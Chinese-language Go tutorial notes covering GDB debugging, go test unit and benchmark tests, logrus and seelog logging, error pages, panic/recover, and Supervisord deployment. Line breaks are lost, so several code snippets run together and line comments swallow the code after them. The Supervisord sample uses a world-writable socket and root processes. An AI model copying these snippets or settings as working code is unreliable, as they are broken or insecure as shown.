簡(jiǎn)寫命令時(shí)d,用來(lái)刪除斷點(diǎn),后面要跟上斷點(diǎn)設(shè)置的序號(hào),這個(gè)序號(hào)可以通過info breakpoints獲取相應(yīng)設(shè)置的斷點(diǎn)需要,就像下面是顯示的設(shè)置斷點(diǎn)的需要
Num Type Disp Enb Address What2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23breakpoint already hit 1 time- backtrace
簡(jiǎn)寫命令時(shí)bt,用來(lái)打印執(zhí)行的代碼過程,如下所示
#0 main.main () at /home/xiemengjun/gdb.go:23#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267#3 0x0000000000000000 in ?? ()- info
info命令用來(lái)顯示信息,后面有幾種參數(shù),我們常用的有如下幾種:
info locals 顯示當(dāng)前執(zhí)行的程序中的變量值
info breakpoints 顯示當(dāng)前設(shè)置的斷點(diǎn)列表
info goroutines 顯示當(dāng)前執(zhí)行的goroutine列表，如下代碼所示,帶*的表示當(dāng)前執(zhí)行的
* 1 running runtime.gosched* 2 syscall runtime.entersyscall3 waiting runtime.gosched4 runnable runtime.gosched簡(jiǎn)寫命令是p,用來(lái)打印變量或其他信息,后面跟上需要打印的變量名,當(dāng)然還有一些很有用的函數(shù)$len()和$cap(),用來(lái)返回當(dāng)前string,slices或者maps的長(zhǎng)度和容量
- whatis
用來(lái)顯示當(dāng)前變量的類型,后面跟上變量名,例如whatis msg,顯示如下:
type = struct string- next
簡(jiǎn)寫命令是n,用來(lái)單步測(cè)試,調(diào)到下一步,當(dāng)有斷點(diǎn)之后,可以輸入n跳轉(zhuǎn)到下一步繼續(xù)執(zhí)行
- continue
簡(jiǎn)稱命令c, 用來(lái)跳出當(dāng)前斷點(diǎn)處,后面可以跟參數(shù)N,跳過多少次斷點(diǎn)
- set variable
該命令用來(lái)改變運(yùn)行過程中的變量值,格式如set variable <var>=<value>
調(diào)試過程
我們通過下面的代碼來(lái)調(diào)試go程序
package mainimport ("fmt""time" )func counting(c chan<- int) {for i := 0; i < 10; i++ {time.Sleep(2 * time.Second)c <- i}close(c) }func main() {msg := "Starting main"fmt.Println(msg)bus := make(chan int)msg = "starting a gofunc"go counting(bus)for count := range bus {fmt.Println("count:", count)} }如果在Mac中執(zhí)行,此處需要使用sudu調(diào)用root運(yùn)行,否則會(huì)暴如下錯(cuò)誤
(gdb) run Starting program: /Users/liuhao/go/src/web/errors/nihao Unable to find Mach task port for process-id 56573: (os/kern) failure (0x5).(please check gdb is codesigned - see taskgated(8))程序正常的話可以看到程序輸出如下
(gdb) run Starting program: /home/xiemengjun/gdbfile Starting main count: 0 count: 1 count: 2 count: 3 count: 4 count: 5 count: 6 count: 7 count: 8 count: 9 [LWP 2771 exited] [Inferior 1 (process 2771) exited normally]接下來(lái)開始給代碼設(shè)置斷點(diǎn)：
(gdb) b 23 Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. (gdb) run Starting program: /home/xiemengjun/gdbfile Starting main [New LWP 3284] [Switching to LWP 3284]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 23 fmt.Println("count:", count)上面例子b 23表示在第23行設(shè)置了斷點(diǎn)，之后輸入run開始運(yùn)行程序。現(xiàn)在程序在前面設(shè)置斷點(diǎn)的地方停住了，我們需要查看斷點(diǎn)相應(yīng)上下文的源碼，輸入list就可以看到源碼顯示從當(dāng)前停止行的前五行開始：
(gdb) list 18 fmt.Println(msg) 19 bus := make(chan int) 20 msg = "starting a gofunc" 21 go counting(bus) 22 for count := range bus { 23 fmt.Println("count:", count) 24 } 25 }現(xiàn)在GDB在運(yùn)行當(dāng)前的程序的環(huán)境中已經(jīng)保留了一些有用的調(diào)試信息，我們只需打印出相應(yīng)的變量，查看相應(yīng)變量的類型及值：
(gdb) info locals count = 0 bus = 0xf840001a50 (gdb) p count $1 = 0 (gdb) p bus $2 = (chan int) 0xf840001a50 (gdb) whatis bus type = chan int接下來(lái)該讓程序繼續(xù)往下執(zhí)行，請(qǐng)繼續(xù)看下面的命令
(gdb) c Continuing. count: 0 [New LWP 3303] [Switching to LWP 3303]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 23 fmt.Println("count:", count) (gdb) c Continuing. count: 1 [Switching to LWP 3302]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 23 fmt.Println("count:", count)每次輸入c之后都會(huì)執(zhí)行一次代碼，又跳到下一次for循環(huán)，繼續(xù)打印出來(lái)相應(yīng)的信息。
設(shè)想目前需要改變上下文相關(guān)變量的信息，跳過一些過程，并繼續(xù)執(zhí)行下一步，得出修改后想要的結(jié)果：
(gdb) info locals count = 2 bus = 0xf840001a50 (gdb) set variable count=9 (gdb) info locals count = 9 bus = 0xf840001a50 (gdb) c Continuing. count: 9 [Switching to LWP 3302]Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 23 fmt.Println("count:", count)通過查看goroutines的命令我們可以清楚地了解goruntine內(nèi)部是怎么執(zhí)行的，每個(gè)函數(shù)的調(diào)用順序已經(jīng)明明白白地顯示出來(lái)了。
(gdb) info goroutines * 1 running runtime.gosched * 2 syscall runtime.entersyscall 3 waiting runtime.gosched 4 runnable runtime.gosched (gdb) goroutine 1 bt #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 #6 0x0000000000000000 in ?? ()測(cè)試用例
go語(yǔ)言中自帶一個(gè)輕量級(jí)的測(cè)試框架testing和自帶的go test命令來(lái)實(shí)現(xiàn)單元測(cè)試和性能測(cè)試,testing框架和其他語(yǔ)言中的測(cè)試框架類似,我們可以基于這個(gè)框架寫針對(duì)相應(yīng)函數(shù)的測(cè)試用例,也可以基于該框架寫相應(yīng)的壓力測(cè)試用例
另外,建議安裝gotests插件自動(dòng)生成測(cè)試代碼,后面的三個(gè)點(diǎn)就是這樣
有可能會(huì)因?yàn)楸粔Χ鴮?dǎo)致無(wú)法下載,自己想辦法吧.
go get -u -v github.com/cweill/gotests/...如何編寫測(cè)試用例
由于go test命令只能在一個(gè)相應(yīng)的目錄下執(zhí)行所有文件,所以我們要新建一個(gè)項(xiàng)目,報(bào)我們所有的代碼和測(cè)試代碼都放在這個(gè)目錄下面
接下來(lái)我們?cè)谠撃夸浵聞?chuàng)建兩個(gè)文件,一個(gè)gotest.go和gotest_test.go
- 文件名必須是_test.go結(jié)尾的,這樣在執(zhí)行g(shù)o test的時(shí)候才會(huì)執(zhí)行到相應(yīng)的代碼
- 必須import testing這個(gè)包
- 所有的測(cè)試用例函數(shù),必須是Test開頭
- 測(cè)試用例會(huì)按照源代碼中寫的順序依次執(zhí)行
- 測(cè)試函數(shù)TestXxx()的參數(shù)是testing.T,我們可以使用該類型來(lái)記錄錯(cuò)誤或者測(cè)試錯(cuò)誤狀態(tài)
- 測(cè)試格式:func TestXxx(t *testing.T),這里的xxx可以為任意的字母或數(shù)字組合,但是首字母不能是小寫字母[a-z]，例如Testintdiv是錯(cuò)誤的函數(shù)名。
- 函數(shù)中通過調(diào)用testing.T的錯(cuò)誤Error, Errorf, FailNow, Fatal, FatalIf方法,說(shuō)明測(cè)試不通過,調(diào)用Log方法來(lái)記錄測(cè)試的信息
下面是測(cè)試用例的代碼
package gotestimport ("testing" )//第一個(gè)測(cè)試函數(shù) func Test_Div_1(t *testing.T) {if i, e := Div(6, 2); i != 3 || e != nil { //try a unit test on functiont.Error("除法函數(shù)測(cè)試沒通過") // 如果結(jié)果不是想要的,就直接報(bào)錯(cuò)就行} else {t.Log("第一個(gè)測(cè)試通過了") //這里可以記錄一些我們期望的信息} }//第二個(gè)測(cè)試函數(shù) func Test_Div_2(t *testing.T) {t.Error("就是不讓通過") }這時(shí)候我們執(zhí)行g(shù)o test -v因?yàn)間o test成功的部分只會(huì)顯示一個(gè)OK
~/go/src/web/test on master! ? 23:41:21 $ go test -v === RUN Test_Div_1 --- PASS: Test_Div_1 (0.00s)gotest_test.go:11: 第一個(gè)測(cè)試通過了 === RUN Test_Div_2 --- FAIL: Test_Div_2 (0.00s)gotest_test.go:16: 就是不讓通過 FAIL exit status 1 FAIL web/test 0.006s我們看到測(cè)試函數(shù)1Test_Div_1測(cè)試通過，而測(cè)試函數(shù)2Test_Div_2測(cè)試失敗了.
接下來(lái)我們把測(cè)試函數(shù)2修改成如下代碼：
func Test_Div_2(t *testing.T) {//將除數(shù)設(shè)置為0肯定會(huì)報(bào)錯(cuò)if _, e := Div(6, 0); e == nil {t.Error("2測(cè)試失敗") // 如果不是如預(yù)期的那么就報(bào)錯(cuò)} else {t.Log("2測(cè)試通過", e) //記錄一些你期望記錄的信息} }然后我們執(zhí)行g(shù)o test -v，就顯示如下信息，測(cè)試通過了：
~/go/src/web/test on master! ? 23:41:22 $ go test -v === RUN Test_Div_1 --- PASS: Test_Div_1 (0.00s)gotest_test.go:11: 第一個(gè)測(cè)試通過了 === RUN Test_Div_2 --- PASS: Test_Div_2 (0.00s)gotest_test.go:22: 2測(cè)試通過 除數(shù)不能為0 PASS ok web/test 0.006s如何編寫壓力測(cè)試
壓力測(cè)試,和編寫單元測(cè)試的方法類似,,但是要注意幾點(diǎn):
- 壓力測(cè)試用例必須遵循下面的格式,其中XXX可以是任意字母數(shù)字組合,但是首字母必須大寫
- go test不會(huì)默認(rèn)執(zhí)行壓力測(cè)試函數(shù),如果要執(zhí)行壓力測(cè)試需要帶上參數(shù)-test.bench,語(yǔ)法:test.bench="test_name_regex",例如go test -test.bench=".*"表示測(cè)試當(dāng)前目錄下全部的壓力測(cè)試函數(shù)
- 在壓力測(cè)試用例中,請(qǐng)記得在循環(huán)體內(nèi)使用testing.B.N,以使測(cè)試可以正常的運(yùn)行
- 文件名也必須以_test.go結(jié)尾
準(zhǔn)別壓力測(cè)試文件bench_test.go
package gotestimport ("testing" )func Benchmark_Division(b *testing.B) {//b.N可以直接設(shè)置,比如b.N=100for i := 0; i < b.N; i++ { //use b.N for loopingDiv(4, 5)} }func Benchmark_TimeConsumingFunction(b *testing.B) {b.StopTimer() //調(diào)用該函數(shù)停止壓力測(cè)試的時(shí)間計(jì)數(shù)//b.N可以直接設(shè)置,比如b.N=100//做一些初始化的工作,例如讀取文件數(shù)據(jù),數(shù)據(jù)庫(kù)連接之類的,//這樣這些時(shí)間不影響我們測(cè)試函數(shù)本身的性能b.StartTimer() //重新開始時(shí)間for i := 0; i < b.N; i++ {Div(4, 5)} }執(zhí)行結(jié)果過
$ go test -test.bench=".*" ./gotest.go ./bench_test.go goos: darwin goarch: amd64 //執(zhí)行了2000000000次,每次平均時(shí)間是0.32納秒 Benchmark_Division-8 2000000000 0.32 ns/op //執(zhí)行了2000000000次,每次平均時(shí)間是0.32納秒 Benchmark_TimeConsumingFunction-8 2000000000 0.32 ns/op PASS ok command-line-arguments 1.350s必須要注意的是:
如果我們?cè)诋?dāng)前目錄使用go test或者go test -test.bench=".*"的話會(huì)測(cè)試當(dāng)前目錄下所有的程序,這是沒問題的.
但是如果我們執(zhí)行g(shù)o test ./gotest_test.go或者go test ./bench_test.go -test.bench=".*" 是會(huì)報(bào)錯(cuò)的,提示里面調(diào)用的包不存在,所以我們要同時(shí)把源文件和測(cè)試文件同時(shí)引入,例如$ go test -test.bench=".*" ./gotest.go ./bench_test.go
部署與維護(hù)
這里主要是介紹
- 如何在生產(chǎn)服務(wù)上記錄程序產(chǎn)生的日志，如何記錄日志
- 發(fā)生錯(cuò)誤時(shí)應(yīng)該如何處理,如何保證盡量少的影響到用戶的訪問
- 如何部署go的獨(dú)立程序,因?yàn)間o目前還無(wú)法像C那樣協(xié)程daemon
- 介紹應(yīng)用數(shù)據(jù)的備份和恢復(fù)
應(yīng)用日志
go語(yǔ)言中提供了一個(gè)簡(jiǎn)單的log包,我們使用該包可以方便的實(shí)現(xiàn)日志記錄功能.
這些日志都是基于fmt包的打印再結(jié)合panic之類的函數(shù)來(lái)進(jìn)行一般的打印,拋出錯(cuò)誤的處理
go目前標(biāo)準(zhǔn)包只是,包含了簡(jiǎn)單的功能,如果我們想把我們的應(yīng)用日志保存到文件,然后又能夠結(jié)合日志實(shí)現(xiàn)復(fù)雜的功能,可以使用第三方的包的日志系統(tǒng):logrus和seelog
logrus介紹
logrus是用go語(yǔ)言實(shí)現(xiàn)的一個(gè)日志系統(tǒng),與標(biāo)準(zhǔn)款log完全兼容并且核心API很穩(wěn)定,是目前go中最活躍的日志庫(kù)
安裝
這里需要翻墻,一部分依賴包因?yàn)橐遟oogle官方,否則會(huì)報(bào)錯(cuò) //package golang.org/x/sys/unix: unrecognized import path "golang.org/x/sys/unix" (https fetch: Get https://golang.org/x/sys/unix?go-get=1: dial tcp 216.239.37.1:443: i/o timeout)
go get -u github.com/sirupsen/logrus簡(jiǎn)單的例子
package mainimport (log "github.com/Sirupsen/logrus" )func main() {//記錄日志log.WithFields(log.Fields{"animal": "walrus",}).Info("A walrus appears") }基于logrus的自定義日志處理
六種日志級(jí)別：
- logrus.Debug("Useful debugging information.")
- logrus.Info("Something noteworthy happened!")
- logrus.Warn("You should probably take a look at this.")
- logrus.Error("Something failed but I'm not quitting.")
- logrus.Fatal("Bye.") //log之后會(huì)調(diào)用os.Exit(1)
- logrus.Panic("I'm bailing.") //log之后會(huì)panic()
seelog介紹
seelog也是一個(gè)用go語(yǔ)言實(shí)現(xiàn)的日志系統(tǒng),他提供了一些簡(jiǎn)單的函數(shù)但是實(shí)現(xiàn)了復(fù)雜的,日志分配,過濾和格式化,主要特性:
- XML的動(dòng)態(tài)配置,可以不用重新編譯程序而動(dòng)態(tài)的加載配置信息
- 支持熱更新,能夠動(dòng)態(tài)改變配置而不需要重啟應(yīng)用
- 支持多輸出流,能夠同時(shí)把日志輸出到多種流中,例如文件流,網(wǎng)絡(luò)流等.
- 支持不同的日志輸出方式
- 命令行輸出
- 文件輸出
- 緩存輸出
- 支持log rotate
- SMTP郵件
安裝seelog
go get -u github.com/cihub/seelog一個(gè)簡(jiǎn)單的例子
//運(yùn)行如果出現(xiàn)了Hello from seelog，說(shuō)明seelog日志系統(tǒng)已經(jīng)成功安裝并且可以正常運(yùn)行了。 package mainimport log "github.com/cihub/seelog"func main() {//這里這個(gè)defer,很妙defer log.Flush()log.Info("Hello from Seelog!") }seelog支持自定義日志處理
這里運(yùn)行的時(shí)候又出現(xiàn)一個(gè)錯(cuò)誤,非常難搞,建議開代理別費(fèi)事../github.com/Sirupsen/logrus/terminal_check_bsd.go:5:8: cannot find package "golang.org/x/sys/unix" in any of: /usr/local/Cellar/go/1.11.2/libexec/src/golang.org/x/sys/unix (from $GOROOT) /Users/liuhao/go/src/golang.org/x/sys/unix (from $GOPATH)
下面這個(gè)主要是實(shí)現(xiàn)了三個(gè)函數(shù):
-
DisableLog 初始化全局變量Logger為seelog的禁用狀態(tài)，主要為了防止Logger被多次初始化
-
loadAppConfig 根據(jù)配置文件初始化seelog的配置信息，這里我們把配置文件通過字符串讀取設(shè)置好了，也可以通過讀取XML文件。里面的配置說(shuō)明如下：
- seelog minlevel參數(shù)可選，如果被配置,高于或等于此級(jí)別的日志會(huì)被記錄，同理maxlevel。
- outputs 輸出信息的目的地，這里分成了兩份數(shù)據(jù)，一份記錄到log rotate文件里面。另一份設(shè)置了filter，如果這個(gè)錯(cuò)誤級(jí)別是critical，那么將發(fā)送報(bào)警郵件。
- formats 定義了各種日志的格式
-
UseLogger 設(shè)置當(dāng)前的日志器為相應(yīng)的日志處理
發(fā)生錯(cuò)誤發(fā)送郵件
下面通過smtp配置來(lái)發(fā)送郵件:
- 郵件的格式通過criticalemail配置
- 通過其他的配置發(fā)送郵件服務(wù)器的配置
- 通過recipient配置接收郵件的用戶,如果有多個(gè)用戶可以再添加一行。
要測(cè)試成功與否,可以在代碼中增加類似下面的一個(gè)假消息(上線前記得刪除)
logs.Logger.Critical("test Critical message")使用應(yīng)用日志
比如,我們需要跟蹤用戶嘗試登陸系統(tǒng)的操作,這時(shí)候我們會(huì)把成功的和不成功的都記錄下來(lái).
- 成功的則用info日志級(jí)別進(jìn)行記錄
- 失敗的則用warn級(jí)別來(lái)記錄
如果我們要查詢登陸失敗的用戶只需要grep一下就行了,其實(shí)最好的方式是把不同的錯(cuò)誤記錄,分別存儲(chǔ)在不同的地方
# cat /data/logs/roll.log | grep "failed login" 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password網(wǎng)站錯(cuò)誤處理
我們的項(xiàng)目一旦上線,各種錯(cuò)誤都有可能出現(xiàn),比如:
-
數(shù)據(jù)庫(kù)錯(cuò)誤, 指操作數(shù)據(jù)庫(kù)時(shí)發(fā)生的錯(cuò)誤。比如:
- 連接錯(cuò)誤, 這一類錯(cuò)誤可能是數(shù)據(jù)庫(kù)服務(wù)器網(wǎng)絡(luò)斷開、用戶名密碼不正確、或者數(shù)據(jù)庫(kù)不存在
- 查詢錯(cuò)誤, 使用的SQL非法導(dǎo)致錯(cuò)誤,嚴(yán)格篩選SQL即可避免
- 數(shù)據(jù)錯(cuò)誤, 數(shù)據(jù)庫(kù)中的約束沖突，例如一個(gè)唯一字段插入一條重復(fù)主鍵就會(huì)報(bào)錯(cuò),嚴(yán)格測(cè)試就可以避免
-
應(yīng)用運(yùn)行時(shí)錯(cuò)誤：這類錯(cuò)誤范圍很廣,這類錯(cuò)誤幾乎涵蓋了代碼中所有的錯(cuò)誤
- 文件系統(tǒng)和權(quán)限：應(yīng)用讀取不存在的文件,或者讀取/寫入沒有權(quán)限的文件都會(huì)導(dǎo)致一個(gè)錯(cuò)誤,讀取格式不對(duì)也會(huì)報(bào)錯(cuò),比如,配置文件應(yīng)該是ini,而設(shè)置成了json就會(huì)報(bào)錯(cuò).
- 第三方應(yīng)用：：如果我們使用了其他第三方接口程序,
-
HTTP錯(cuò)誤：這些錯(cuò)誤都是根據(jù)用戶的請(qǐng)求錯(cuò)誤出現(xiàn)的錯(cuò)誤,比如403,404,503等
-
操作系統(tǒng)出錯(cuò)：都是由于應(yīng)用程序上的操作系統(tǒng)出現(xiàn)錯(cuò)誤引起的,比如,操作系統(tǒng)的資源被分配光了,還有操作系統(tǒng)磁盤滿了, 導(dǎo)致無(wú)法寫入,等等.
-
網(wǎng)絡(luò)出錯(cuò)：指兩方面的錯(cuò)誤,一方面是用戶請(qǐng)求時(shí)出現(xiàn)網(wǎng)絡(luò)斷開,這雖然不會(huì)導(dǎo)致web程序崩潰,但是影響用戶體驗(yàn).另一方面是應(yīng)用程序讀取其他網(wǎng)絡(luò)上的數(shù)據(jù)，其他網(wǎng)絡(luò)斷開會(huì)導(dǎo)致讀取失敗.
錯(cuò)誤處理的目標(biāo)
- 通知訪問用戶出現(xiàn)錯(cuò)誤了
- 記錄錯(cuò)誤
- 回滾當(dāng)前的請(qǐng)求操作
- 保證現(xiàn)有程序可運(yùn)行可服務(wù)
如何處理錯(cuò)誤
- 通知用戶出現(xiàn)錯(cuò)誤：
通知用戶訪問頁(yè)面錯(cuò)誤時(shí)可以用：404.html和error.html：
404頁(yè)面
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>找不到頁(yè)面</title><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><div class="container"><div class="row"><div class="span10"><div class="hero-unit"><h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>error頁(yè)面
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>系統(tǒng)錯(cuò)誤頁(yè)面</title><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><div class="container"><div class="row"><div class="span10"><div class="hero-unit"><h1>系統(tǒng)暫時(shí)不可用!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>404的錯(cuò)誤處理邏輯，如果是系統(tǒng)的錯(cuò)誤也是類似的操作，同時(shí)我們看到在：
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {if r.URL.Path == "/" {sayhelloName(w, r)return}NotFound404(w, r)return }func NotFound404(w http.ResponseWriter, r *http.Request) {log.Error("頁(yè)面找不到") //記錄錯(cuò)誤日志t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件ErrorInfo := "文件找不到" //獲取當(dāng)前用戶信息t.Execute(w, ErrorInfo) //執(zhí)行模板的merger操作 }func SystemError(w http.ResponseWriter, r *http.Request) {log.Critical("系統(tǒng)錯(cuò)誤") //系統(tǒng)錯(cuò)誤觸發(fā)了Critical，那么不僅會(huì)記錄日志還會(huì)發(fā)送郵件t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件ErrorInfo := "系統(tǒng)暫時(shí)不可用" //獲取當(dāng)前用戶信息t.Execute(w, ErrorInfo) //執(zhí)行模板的merger操作 }如何處理異常
因?yàn)檎f(shuō),其他語(yǔ)言很多都有try...catch,用來(lái)捕捉錯(cuò)誤語(yǔ)言,不過很多錯(cuò)誤都是可以預(yù)知的.
比如,打開一個(gè)文件,該文件不存在,Os.Open返回一個(gè)錯(cuò)誤,而不是panic.比如向中斷的網(wǎng)絡(luò)連接寫數(shù)據(jù)net.Conn系列類型的Write函數(shù)返回一個(gè)錯(cuò)誤，而他們不會(huì)panic,
但是有一種情況,有一些操作幾乎不可能失敗,但是在一些特定情況下也沒有辦法返回錯(cuò)誤,也無(wú)法繼續(xù)執(zhí)行,這種情況就應(yīng)該panic.
比如,一個(gè)程序計(jì)算x[j],但是j越界了,這部分代碼就會(huì)導(dǎo)致panic.像這樣不可預(yù)知的嚴(yán)重后果就應(yīng)該panic,在默認(rèn)情況下他會(huì)殺死進(jìn)程.
它允許一個(gè)正在運(yùn)行這部分代碼的goroutine從發(fā)生錯(cuò)誤的panic中恢復(fù)運(yùn)行，發(fā)生panic之后，這部分代碼后面的函數(shù)和代碼都不會(huì)繼續(xù)執(zhí)行，這是Go特意這樣設(shè)計(jì)的，因?yàn)橐獏^(qū)別于錯(cuò)誤和異常，panic其實(shí)就是異常處理。
如下代碼，我們期望通過uid來(lái)獲取User中的username信息，但是如果uid越界了就會(huì)拋出異常，這個(gè)時(shí)候如果我們沒有recover機(jī)制，進(jìn)程就會(huì)被殺死，從而導(dǎo)致程序不可服務(wù)。因此為了程序的健壯性，在一些地方需要建立recover機(jī)制。
func GetUser(uid int) (username string) {defer func() {if x := recover(); x != nil {username = ""}}()username = User[uid]return }注意:
如果我們定義的函數(shù)有可能失敗,就要返回一個(gè)錯(cuò)誤.
當(dāng)我調(diào)用其他包的函數(shù)，如果這個(gè)函數(shù)實(shí)現(xiàn)的好，我不用擔(dān)心它會(huì)panic，除非有真正的異常情況發(fā)生，即使那樣也不應(yīng)該是我去處理它(為什么這么說(shuō),說(shuō)不用處理???)。
而panic和recover是針對(duì)自己開發(fā)package里面實(shí)現(xiàn)的邏輯，針對(duì)一些特殊情況來(lái)設(shè)計(jì)。
應(yīng)用部署
因?yàn)檎f(shuō),go程序編譯之后一個(gè)可執(zhí)行文件,編寫過C程序的一定知道采用daemon就可以完美實(shí)現(xiàn)程序后臺(tái)持續(xù)運(yùn)行.但是go無(wú)法完美實(shí)現(xiàn)daemon.
因此我們利用第三方工具來(lái)管理,例如Supervisord、upstart、daemontools等,在這里我們使用Supervisord.
daemon
目前Go程序還不能實(shí)現(xiàn)daemon，詳細(xì)的見這個(gè)Go語(yǔ)言的bug：http://code.google.com/p/go/issues/detail?id=227，大概的意思說(shuō)很難從現(xiàn)有的使用的線程中fork一個(gè)出來(lái)，因?yàn)闆]有一種簡(jiǎn)單的方法來(lái)確保所有已經(jīng)使用的線程的狀態(tài)一致性問題。
不推薦這樣去實(shí)現(xiàn)，因?yàn)楣俜竭€沒有正式的宣布支持daemon，當(dāng)然第一種方案目前來(lái)看是比較可行的，而且目前開源庫(kù)skynet也在采用這個(gè)方案做daemon。
可以看到很多網(wǎng)上的一些實(shí)現(xiàn)daemon的方法
MarGo的一個(gè)實(shí)現(xiàn)思路，使用Command來(lái)執(zhí)行自身的應(yīng)用，如果真想實(shí)現(xiàn)，那么推薦這種方案
使用command來(lái)執(zhí)行自身??牛逼操作!
d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") if *d {cmd := exec.Command(os.Args[0],"-close-fds","-addr", *addr,"-call", *call,)serr, err := cmd.StderrPipe()if err != nil {log.Fatalln(err)}err = cmd.Start()if err != nil {log.Fatalln(err)}s, err := ioutil.ReadAll(serr)s = bytes.TrimSpace(s)if bytes.HasPrefix(s, []byte("addr: ")) {fmt.Println(string(s))cmd.Process.Release()} else {log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)cmd.Process.Kill()} }另一種是利用syscall的方案，但是這個(gè)方案并不完善：
package mainimport ("log""os""syscall" )func daemon(nochdir, noclose int) int {var ret, ret2 uintptrvar err uintptrdarwin := syscall.OS == "darwin"// already a daemonif syscall.Getppid() == 1 {return 0}// fork off the parent processret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)if err != 0 {return -1}// failureif ret2 < 0 {os.Exit(-1)}// handle exception for darwinif darwin && ret2 == 1 {ret = 0}// if we got a good PID, then we call exit the parent process.if ret > 0 {os.Exit(0)}/* Change the file mode mask */_ = syscall.Umask(0)// create a new SID for the child processs_ret, s_errno := syscall.Setsid()if s_errno != 0 {log.Printf("Error: syscall.Setsid errno: %d", s_errno)}if s_ret < 0 {return -1}if nochdir == 0 {os.Chdir("/")}if noclose == 0 {f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)if e == nil {fd := f.Fd()syscall.Dup2(fd, os.Stdin.Fd())syscall.Dup2(fd, os.Stdout.Fd())syscall.Dup2(fd, os.Stderr.Fd())}}return 0 }Supervisord
Supervisord是用Python實(shí)現(xiàn)的一款非常實(shí)用的進(jìn)程管理工具。supervisord會(huì)幫你把管理的應(yīng)用程序轉(zhuǎn)成daemon程序，而且可以方便的通過命令開啟、關(guān)閉、重啟等操作，而且它管理的進(jìn)程一旦崩潰會(huì)自動(dòng)重啟，這樣就可以保證程序執(zhí)行中斷后的情況下有自我修復(fù)的功能。
注意:
因?yàn)樗械膽?yīng)用程序都是由Supervisord父進(jìn)程生出來(lái)的，那么當(dāng)你修改了操作系統(tǒng)的文件描述符之后，別忘記重啟Supervisord，光重啟下面的應(yīng)用程序沒用。
Supervisord安裝
Supervisord可以通過 sudo yum install supervisor安裝,也可以通過官網(wǎng)下載并解壓,在源碼所在目錄下執(zhí)行setup.py install來(lái)安裝
Supervisord配置
Supervisord默認(rèn)的配置文件路徑為/etc/supervisord.conf，下面是一個(gè)配置文件的示例
;/etc/supervisord.conf [unix_http_server] file = /var/run/supervisord.sock chmod = 0777 chown= root:root[inet_http_server] # Web管理界面設(shè)定 port=9001 username = admin password = yourpassword[supervisorctl] ; 必須和'unix_http_server'里面的設(shè)定匹配 serverurl = unix:///var/run/supervisord.sock[supervisord] logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) logfile_backups=10 ; (num of main logfile rotation backups;default 10) loglevel=info ; (log level;default info; others: debug,warn,trace) pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) nodaemon=true ; (start in foreground if true;default false) minfds=1024 ; (min. avail startup file descriptors;default 1024) minprocs=200 ; (min. avail process descriptors;default 200) user=root ; (default is current user, required if root) childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP)[rpcinterface:supervisor] supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface; 管理的單個(gè)進(jìn)程的配置，可以添加多個(gè)program [program:blogdemon] command=/data/blog/blogdemon autostart = true startsecs = 5 user = root redirect_stderr = true stdout_logfile = /var/log/supervisord/blogdemon.logSupervisord安裝完成后有兩個(gè)可用的命令行supervisor和supervisorctl
- supervisord，初始啟動(dòng)Supervisord，啟動(dòng)、管理配置中設(shè)置的進(jìn)程。
- supervisorctl stop programxxx，停止某一個(gè)進(jìn)程(programxxx)，programxxx為[program:blogdemon]里配置的值，這個(gè)示例就是blogdemon。
- supervisorctl start programxxx，啟動(dòng)某個(gè)進(jìn)程
- supervisorctl restart programxxx，重啟某個(gè)進(jìn)程
- supervisorctl stop all，停止全部進(jìn)程，注：start、restart、stop都不會(huì)載入最新的配置文件。
- supervisorctl reload，載入最新的配置文件，并按新的配置啟動(dòng)、管理所有進(jìn)程。
備份和恢復(fù)
應(yīng)用備份
大多數(shù)情況下,web應(yīng)用程序不需要備份,因?yàn)檫@本來(lái)就是我們代碼庫(kù)中下載下來(lái)的而已,我們的版本控制系統(tǒng)中已經(jīng)保持這些代碼。
不過很多時(shí)候，一些開發(fā)的站點(diǎn)需要用戶來(lái)上傳文件，那么我們需要對(duì)這些用戶上傳的文件進(jìn)行備份。
目前其實(shí)有一種合適的做法就是把和網(wǎng)站相關(guān)的需要存儲(chǔ)的文件存儲(chǔ)到云儲(chǔ)存
這里我們介紹一個(gè)文件同步工具rsync：rsync能夠?qū)崿F(xiàn)網(wǎng)站的備份，不同系統(tǒng)的文件的同步
rsync安裝
